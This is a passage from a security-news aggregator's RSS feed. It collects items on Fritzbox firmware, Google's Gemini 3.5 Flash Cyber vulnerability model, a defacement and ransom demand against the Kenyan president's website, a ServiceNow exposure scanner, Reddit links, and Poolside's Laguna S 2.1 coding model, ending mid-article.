<p>Unabhängig davon empfiehlt es sich grundsätzlich, regelmäßig nach neuen Firmware-Versionen zu suchen. Updates schließen nicht nur Fehler, sondern verbessern häufig auch die Stabilität und Sicherheit des Heimnetzes.</p>



<h2 class="wp-block-heading">So prüfen Sie, ob das Update verfügbar ist</h2>



<p>Die Aktualisierung lässt sich direkt über die <a href="https://www.pcwelt.de/article/1196302/die-neuesten-updates-fuer-fritzbox-co.html" target="_blank" rel="noreferrer noopener">Benutzeroberfläche der Fritzbox installieren</a>. Öffnen Sie dazu in Ihrem Browser die Adresse „fritz.box“ und wechseln Sie anschließend zu System &gt; Update. Dort können Sie manuell nach einer neuen Firmware suchen.</p>



<p>Wer automatische Updates aktiviert hat, muss in der Regel nichts unternehmen. In diesem Fall lädt und installiert die Fritzbox neue Versionen selbstständig, häufig außerhalb der üblichen Nutzungszeiten.</p>



<p>Für Besitzer einer Fritzbox 7510 dürfte die Installation von FritzOS 8.26 insbesondere dann interessant sein, wenn die Internetgeschwindigkeit zuletzt unerwartet niedrig ausgefallen ist.</p>



<p><strong>Weitere Beiträge zum Thema:<br></strong></p>



<ul class="wp-block-list">
<li><a href="https://www.pcwelt.de/article/1157690/fritzbox-router-im-vergleich-das-beste-modell.html" target="_blank" rel="noreferrer noopener">Fritzbox-Router im Vergleich: Welches ist das beste Modell?</a></li>



<li><a href="https://www.pcwelt.de/article/2873266/fritzbox-absichern-so-sind-sie-optimal-geschuetzt.html" target="_blank" rel="noreferrer noopener">Fritzbox absichern: So sind Sie optimal geschützt</a></li>



<li><a href="https://www.pcwelt.de/article/1196434/test-fritzbox-7590-ax-neuer-high-end-router-mit-wi-fi-6.html" target="_blank" rel="noreferrer noopener">Test: Fritzbox 7590 AX – neuer High-End-Router mit Wi-Fi 6</a></li>
</ul>

</div>]]></content:encoded>
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<title><![CDATA[How AI certification can help employees to climb the career ladder]]></title>
<description><![CDATA[Research shows that validating AI knowledge and skills can help to boost job mobility and salaries]]></description>
<link>https://tsecurity.de/de/3685493/it-security-nachrichten/how-ai-certification-can-help-employees-to-climb-the-career-ladder/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685493/it-security-nachrichten/how-ai-certification-can-help-employees-to-climb-the-career-ladder/</guid>
<pubDate>Wed, 22 Jul 2026 09:16:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Research shows that validating AI knowledge and skills can help to boost job mobility and salaries]]></content:encoded>
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<title><![CDATA[Google Unveils Gemini 3.5 Flash Cyber to Find and Fix Software Vulnerabilities Faster]]></title>
<description><![CDATA[Google has introduced Gemini 3.5 Flash Cyber, a lightweight AI model designed to improve cybersecurity by helping defenders identify, validate, and patch software vulnerabilities more efficiently. Built on Gemini 3.5 Flash and optimized for security tasks, Flash Cyber aims to deliver a cost-effec...]]></description>
<link>https://tsecurity.de/de/3685467/it-security-nachrichten/google-unveils-gemini-35-flash-cyber-to-find-and-fix-software-vulnerabilities-faster/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685467/it-security-nachrichten/google-unveils-gemini-35-flash-cyber-to-find-and-fix-software-vulnerabilities-faster/</guid>
<pubDate>Wed, 22 Jul 2026 08:55:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1133" height="692" src="https://thecyberexpress.com/wp-content/uploads/Flash-Cyber.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Flash Cyber" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Flash-Cyber.webp 1133w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-300x183.webp 300w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-1024x625.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-768x469.webp 768w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-600x366.webp 600w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-750x458.webp 750w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber.webp 1133w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-300x183.webp 300w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-1024x625.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-768x469.webp 768w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-600x366.webp 600w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-750x458.webp 750w" sizes="(max-width: 1133px) 100vw, 1133px" title="Google Unveils Gemini 3.5 Flash Cyber to Find and Fix Software Vulnerabilities Faster 4"></p><span data-contrast="auto">Google has introduced Gemini 3.5 Flash Cyber, a lightweight AI model designed to improve cybersecurity by helping defenders identify, validate, and patch software vulnerabilities more efficiently. Built on Gemini 3.5 Flash and optimized for security tasks, Flash Cyber aims to deliver a cost-effective alternative to larger AI models while supporting large-scale vulnerability analysis.</span>

<span data-contrast="auto">The company said it has invested in cybersecurity research for years, including automated vulnerability discovery through CodeMender, its code security agent that can detect and fix critical software flaws. However, as AI systems become increasingly capable of discovering <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29060">vulnerabilities</a> faster than defenders can resolve them, Google believes a scalable and affordable approach is needed.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Gemini 3.5 Flash Cyber Focuses on Scalable Cybersecurity</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">According to <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/" target="_blank" rel="nofollow noopener">Google</a>, Gemini 3.5 Flash Cyber has been fine-tuned specifically to locate, verify, and remediate vulnerabilities more effectively than Gemini's standard Flash models. Because of the technology's dual-use nature, the company is initially limiting access through a pilot program for governments and trusted partners via CodeMender, with broader availability planned over time.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Google also confirmed that CodeMender's core capabilities will be made available through generally available Gemini models on the Gemini Enterprise Agent Platform.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Flash Cyber Improves Large-scale Code Analysis</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">A major challenge in <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-cybersecurity/" target="_blank" rel="noopener" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="29059">cybersecurity</a> is exploring vast execution search spaces across complex codebases. Instead of relying on a single call to a <a href="https://thecyberexpress.com/us-gets-pre-release-access-to-ai-models/" target="_blank" rel="noopener">large language model</a>, CodeMender invokes Flash Cyber multiple times, allowing sub-agents to inspect significantly more code paths before generating one consolidated report.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Google said the model's speed and lower operating cost make it suitable for continuous code scanning, software launch processes, and commit-scanning pipelines at scale.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Benchmark Results Show Competitive Performance</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Google evaluated Gemini 3.5 Flash <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="Cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29061">Cyber</a> using the CyberGym benchmark, which measures AI agents against hundreds of real-world software vulnerabilities. Configured to call the model up to five times before producing a final report, CodeMender achieved competitive performance against significantly larger cybersecurity models. Google noted that competitor results were based on provider self-reported scores.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The model also outperformed Gemini 3.5 Flash and 3.6 Flash during Google's internal Big Sleep evaluation, which tested <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29058">vulnerability</a> discovery in complex projects such as Chrome and Safari without safety guardrails.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In Chrome's production commit-scanning pipeline, where vulnerabilities remained undisclosed to prevent benchmark contamination, Flash Cyber again delivered a significant improvement over Gemini 3.5 Flash. Google added that competitor models released after Opus 4.6 were excluded because their safety guardrails prevented them from completing the tasks.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Testing on the V8 JavaScript Engine found 55 unique confirmed vulnerabilities with <a href="https://thecyberexpress.com/gemini-ad-safety-targets-scam-ads/" target="_blank" rel="noopener">Gemini</a> 3.5 Flash Cyber, compared with 47 for Gemini 3.5 Flash and 36 for Opus 4.6, including 10 issues missed by both competing models.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Real-world Cybersecurity Deployment</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Google said Flash Cyber is already helping secure internal projects, including Chrome, Android, Cloud, Ads and YouTube. In one example, Google's Cloud Vulnerability Research team used the model to identify remote code execution vulnerabilities in public APIs and a memory-corruption flaw within a sensitive production service in just two hours. The model also generated a 100% reliable <a href="https://thecyberexpress.com/cve-2026-45829-chromatoast-chromadb/" target="_blank" rel="noopener">remote code execution</a> exploit capable of bypassing Address Space Layout Randomization (ASLR) and Write XOR Execute (W^X).</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Google added that early feedback from Wiz and Cloud CISO <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29062">Security</a> Engineering testers indicated a significant capability improvement over Gemini 3.5 Flash. The company also highlighted resources such as OSV.dev, which tracks more than 700,000 open-source vulnerabilities, and over a decade of OSS-Fuzz <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29063">data</a> as key training assets supporting its cybersecurity models.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
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<title><![CDATA[Hackers Deface Kenya President William Ruto’s Website, Demand $330K Ransom]]></title>
<description><![CDATA[Kenya is investigating a Kenya cyberattack that temporarily defaced President William Ruto’s official website with an anti-government message and a Bitcoin ransom demand for five bitcoins, reportedly worth about $330,000. The attackers replaced the website’s homepage with the message, displayed a...]]></description>
<link>https://tsecurity.de/de/3685406/it-security-nachrichten/hackers-deface-kenya-president-william-rutos-website-demand-330k-ransom/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685406/it-security-nachrichten/hackers-deface-kenya-president-william-rutos-website-demand-330k-ransom/</guid>
<pubDate>Wed, 22 Jul 2026 08:23:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Kenya Cyberattack Defaces Ruto Website" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="Hackers Deface Kenya President William Ruto’s Website, Demand $330K Ransom 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="604" data-end="1046">Kenya is investigating a Kenya cyberattack that temporarily defaced President William Ruto’s official website with an anti-government message and a Bitcoin ransom demand for five bitcoins, reportedly worth about $330,000. The attackers replaced the website’s homepage with the message, displayed a <a href="https://thecyberexpress.com/nget-stealer-information-stealer/" target="_blank" rel="noopener">cryptocurrency wallet</a> address and threatened to publish unspecified information about President William Ruto unless the ransom was paid.</p>
<p data-start="1048" data-end="1341">The website was hacked on Saturday, July 18, 2026. Following the incident, access to the presidential website was temporarily restricted as authorities began containment, forensic analysis and restoration efforts. According to <a href="https://techpoint.africa/insight/techpoint-digest-1391/" target="_blank" rel="nofollow noopener">local media reports</a>, access to the website was restored by Monday.</p>

<h3 data-section-id="uxwkij" data-start="1343" data-end="1390"><strong>Kenya Cyberattack Prompts Incident Response</strong></h3>
<p data-start="1392" data-end="1563">Kenya’s Ministry of Information, Communications and the Digital Economy <a href="https://www.linkedin.com/feed/update/urn:li:activity:7484206210221522944/" target="_blank" rel="nofollow noopener">confirmed</a> that the official website of the President had been affected by a cybersecurity incident.</p>
<p data-start="1565" data-end="1715">The ministry said that after the incident was detected, the ICT Authority immediately activated established <a href="https://thecyberexpress.com/incident-response-automating-with-genai/" target="_blank" rel="noopener">cybersecurity incident response</a> protocols.</p>
<p data-start="1717" data-end="1876">As a precautionary measure, access to the presidential website was temporarily restricted to facilitate containment, forensic analysis and restoration efforts.</p>
<p data-start="1878" data-end="2004">The ministry said appropriate mitigation measures had since been implemented and that restoration of the website was underway.</p>


[caption id="attachment_113245" align="aligncenter" width="600"]<img class="wp-image-113245 size-full" src="https://thecyberexpress.com/wp-content/uploads/Kenya-cyberattack-e1784698045495.webp" alt="Kenya cyberattack" width="600" height="680"> Source: Kenya’s Ministry of Information, Communications and the Digital Economy[/caption]
<p data-start="2006" data-end="2254">At the time of the statement, the government said there was no evidence of unauthorized access to sensitive <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29055">data</a>, data exfiltration or loss of information. It also stated that government systems and digital services remained secure and operational.</p>
<p data-start="2256" data-end="2454">The ICT Authority is working with relevant government agencies and technical partners to conduct a comprehensive forensic investigation and establish the full circumstances surrounding the incident.</p>

<h3 data-section-id="424neg" data-start="2456" data-end="2514"><strong>Kenya President William Ruto Cyberattack Investigation</strong></h3>
<p data-start="2516" data-end="2764">The Kenya President William Ruto <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-a-cyber-attack/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29053">cyberattack</a> involved the defacement of the president’s official website. The attackers replaced the homepage with an anti-government message, displayed a cryptocurrency wallet address and demanded five bitcoins.</p>
<p data-start="2766" data-end="2887">The attackers also threatened to publish unspecified information about President William Ruto if the ransom was not paid.</p>
<p data-start="2889" data-end="3135">The government has not reported evidence of unauthorized access to sensitive data or data exfiltration. The ongoing forensic investigation is expected to establish the circumstances surrounding the incident and determine the extent of the attack.</p>

<h3 data-section-id="uvsz76" data-start="3249" data-end="3308">Kenya Government Website Hack Follows Earlier Incidents</h3>
<p data-start="3310" data-end="3439">The latest Kenya government website <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-hacking/" title="hack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29054">hack</a> follows previous cyber incidents involving government digital services and websites.</p>
<p data-start="3441" data-end="3660">In July 2023, Kenya’s eCitizen platform, which is used for dozens of public services, was <a href="https://thecyberexpress.com/cyber-attack-on-kenya-anonymous-sudan-hackers/" target="_blank" rel="noopener">disrupted by a cyberattack</a>. The incident affected agencies including the National Transport and Safety Authority and Kenya Power.</p>
<p data-start="3662" data-end="3891">On November 17, 2025, <a href="https://thecyberexpress.com/government-of-kenya-cyberattack/" target="_blank" rel="noopener">hackers launched a coordinated attack</a> on several government websites, including the presidency’s portal. The websites were temporarily knocked offline, while some pages were replaced with extremist messages.</p>
<p data-start="3893" data-end="4078">According to the information provided by local media, the government later blamed a group calling itself PCP@Kenya, restored the affected platforms and promised stronger <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29057">cyber</a> defences.</p>

<h3 data-section-id="1t0u4ua" data-start="4080" data-end="4134">Bitcoin Ransom Demand Targets Presidential Website</h3>
<p data-start="4136" data-end="4383">The latest incident involved a Bitcoin <a href="https://thecyberexpress.com/cyber-attack-on-scandinavian-airlines-ransom/" target="_blank" rel="noopener">ransom demand </a>for five bitcoins, reportedly valued at approximately $330,000. The attackers displayed a cryptocurrency wallet address and threatened to release unspecified information about the president.</p>
<p data-start="4385" data-end="4660">It remains unclear from the available information whether the attackers accessed systems or data beyond the presidential website. The Kenyan government has said there is currently no evidence of unauthorized access to sensitive data, data exfiltration or loss of information.</p>
<p data-start="4662" data-end="4871" data-is-last-node="" data-is-only-node="">The ICT Authority and relevant government agencies are continuing their forensic investigation to establish how the incident occurred and determine the full circumstances surrounding the Kenya <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-cyber-attack/" target="_blank" rel="noopener" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29056">cyberattack</a>.</p>]]></content:encoded>
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<title><![CDATA[Snowpick: Open-source ServiceNow exposure scanner]]></title>
<description><![CDATA[An employee opens a company service portal, searches the knowledge base, and drops a file onto a ticket. Someone who never signed in can send a request to that same portal and get records back. Bishop Fox ran that test…
Read more →
The post Snowpick: Open-source ServiceNow exposure scanner appear...]]></description>
<link>https://tsecurity.de/de/3685382/it-security-nachrichten/snowpick-open-source-servicenow-exposure-scanner/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685382/it-security-nachrichten/snowpick-open-source-servicenow-exposure-scanner/</guid>
<pubDate>Wed, 22 Jul 2026 08:11:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>An employee opens a company service portal, searches the knowledge base, and drops a file onto a ticket. Someone who never signed in can send a request to that same portal and get records back. Bishop Fox ran that test…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/snowpick-open-source-servicenow-exposure-scanner/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/snowpick-open-source-servicenow-exposure-scanner/">Snowpick: Open-source ServiceNow exposure scanner</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Snowpick: Open-source ServiceNow exposure scanner]]></title>
<description><![CDATA[An employee opens a company service portal, searches the knowledge base, and drops a file onto a ticket. Someone who never signed in can send a request to that same portal and get records back. Bishop Fox ran that test across 166 ServiceNow instances during authorized penetration tests. The firm ...]]></description>
<link>https://tsecurity.de/de/3685333/it-security-nachrichten/snowpick-open-source-servicenow-exposure-scanner/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685333/it-security-nachrichten/snowpick-open-source-servicenow-exposure-scanner/</guid>
<pubDate>Wed, 22 Jul 2026 07:42:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>An employee opens a company service portal, searches the knowledge base, and drops a file onto a ticket. Someone who never signed in can send a request to that same portal and get records back. Bishop Fox ran that test across 166 ServiceNow instances during authorized penetration tests. The firm published the results along with the Go tool it used, Snowpick. Findings came back from 31% of the instances. Those instances returned records or confirmed … <a href="https://www.helpnetsecurity.com/2026/07/22/servicenow-data-exposure-snowpick-open-source-scanner/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/22/servicenow-data-exposure-snowpick-open-source-scanner/">Snowpick: Open-source ServiceNow exposure scanner</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Pwn college]]></title>
<description><![CDATA[Hi guys just wondering should I have knowledge python and C before I start the pwn paths for cybersecurity?    submitted by    /u/RewardOk8371   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3685140/malware-trojaner-viren/pwn-college/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685140/malware-trojaner-viren/pwn-college/</guid>
<pubDate>Wed, 22 Jul 2026 04:37:16 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi guys just wondering should I have knowledge python and C before I start the pwn paths for cybersecurity?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/RewardOk8371"> /u/RewardOk8371 </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uxuc4s/pwn_college/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uxuc4s/pwn_college/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[GitHub - NtProtectVirtualMemory/PE-Library: A modern C++ library for parsing and manipulating Windows Portable Executable (PE) files.]]></title>
<description><![CDATA[submitted by    /u/Effective-Fly7516   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3685128/malware-trojaner-viren/github-ntprotectvirtualmemorype-library-a-modern-c-library-for-parsing-and-manipulating-windows-portable-executable-pe-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685128/malware-trojaner-viren/github-ntprotectvirtualmemorype-library-a-modern-c-library-for-parsing-and-manipulating-windows-portable-executable-pe-files/</guid>
<pubDate>Wed, 22 Jul 2026 04:37:01 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<table> <tr><td> <a href="https://www.reddit.com/r/ExploitDev/comments/1v30o00/github_ntprotectvirtualmemorypelibrary_a_modern_c/"> <img src="https://external-preview.redd.it/hlvU_mXTfqRzjVVNb9juAaoeXWR5Ae132krSoaNb9_A.png?width=640&amp;crop=smart&amp;auto=webp&amp;s=ca00bb123e0350f8fe4a07fab28267f27a4efaea" alt="GitHub - NtProtectVirtualMemory/PE-Library: A modern C++ library for parsing and manipulating Windows Portable Executable (PE) files." title="GitHub - NtProtectVirtualMemory/PE-Library: A modern C++ library for parsing and manipulating Windows Portable Executable (PE) files."> </a> </td><td>   submitted by   <a href="https://www.reddit.com/user/Effective-Fly7516"> /u/Effective-Fly7516 </a> <br> <span><a href="https://github.com/NtProtectVirtualMemory/PE-Library">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1v30o00/github_ntprotectvirtualmemorypelibrary_a_modern_c/">[comments]</a></span> </td></tr></table>]]></content:encoded>
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<title><![CDATA[GitHub - NtProtectVirtualMemory/PE-Library: A modern C++ library for parsing and manipulating Windows Portable Executable (PE) files.]]></title>
<description><![CDATA[submitted by    /u/Effective-Fly7516   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3685109/reverse-engineering/github-ntprotectvirtualmemorype-library-a-modern-c-library-for-parsing-and-manipulating-windows-portable-executable-pe-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685109/reverse-engineering/github-ntprotectvirtualmemorype-library-a-modern-c-library-for-parsing-and-manipulating-windows-portable-executable-pe-files/</guid>
<pubDate>Wed, 22 Jul 2026 04:10:44 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/Effective-Fly7516"> /u/Effective-Fly7516 </a> <br> <span><a href="https://github.com/NtProtectVirtualMemory/PE-Library">[link]</a></span>   <span><a href="https://www.reddit.com/r/ReverseEngineering/comments/1v30nck/github_ntprotectvirtualmemorypelibrary_a_modern_c/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]></title>
<description><![CDATA[Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smalle...]]></description>
<link>https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</guid>
<pubDate>Wed, 22 Jul 2026 01:07:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="http://poolside.ai/">Poolside</a>, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.</p><p>The model, <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a>, is a 118-billion-parameter<a href="https://huggingface.co/blog/moe"> Mixture-of-Experts (MoE) system</a> that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are <a href="https://huggingface.co/poolside/Laguna-S-2.1">available immediately</a> on Hugging Face under the permissive OpenMDW-1.1 license.</p><p>The headline numbers are striking for a model this small. Poolside reports that <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> scores 70.2% on <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a>, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek-V4-Pro-Max</a>, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter <a href="https://venturebeat.com/technology/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship">Inkling</a>, at 63.8; and Nvidia’s 550-billion-parameter <a href="https://research.nvidia.com/labs/nemotron/Nemotron-3-Ultra/">Nemotron 3 Ultra</a>, at 56.4. On <a href="https://www.swebench.com/multilingual.html">SWE-Bench Multilingual</a>, it posts 78.5%, and on <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a>'s public dataset, 59.4%.</p><p>Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.</p><div></div><h2><b>Why the West's open-weight AI gap has become a boardroom issue</b></h2><p>The release lands in the middle of an increasingly pointed debate about <a href="https://www.scmp.com/tech/tech-war/article/3361142/why-chinas-open-weight-ai-model-kimi-k3-sparking-anxiety-silicon-valley">the provenance of open-weight AI</a>. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. <a href="https://www.deepseek.com/en/">DeepSeek</a>, <a href="https://qwen.ai/home">Qwen</a>, <a href="http://kimi.ai/">Kimi</a>, <a href="https://chat.z.ai/">GLM</a>, <a href="https://www.minimax.io/">MiniMax</a>, and <a href="https://hy.tencent.com/">Tencent's Hunyuan</a> line all feature prominently in Poolside's own comparison tables.</p><p>Poolside's accompanying press release frames <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a> explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's <a href="https://openai.com/index/introducing-gpt-oss/">gpt-oss-120b</a> last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.</p><p>Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a <a href="https://x.com/eisokant/status/2079612416967491952?s=20">lengthy post</a> on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.</p><div></div><p>The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. </p><p>Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.</p><h2><b>How a sparse architecture makes enterprise AI agents affordable to run</b></h2><p>The 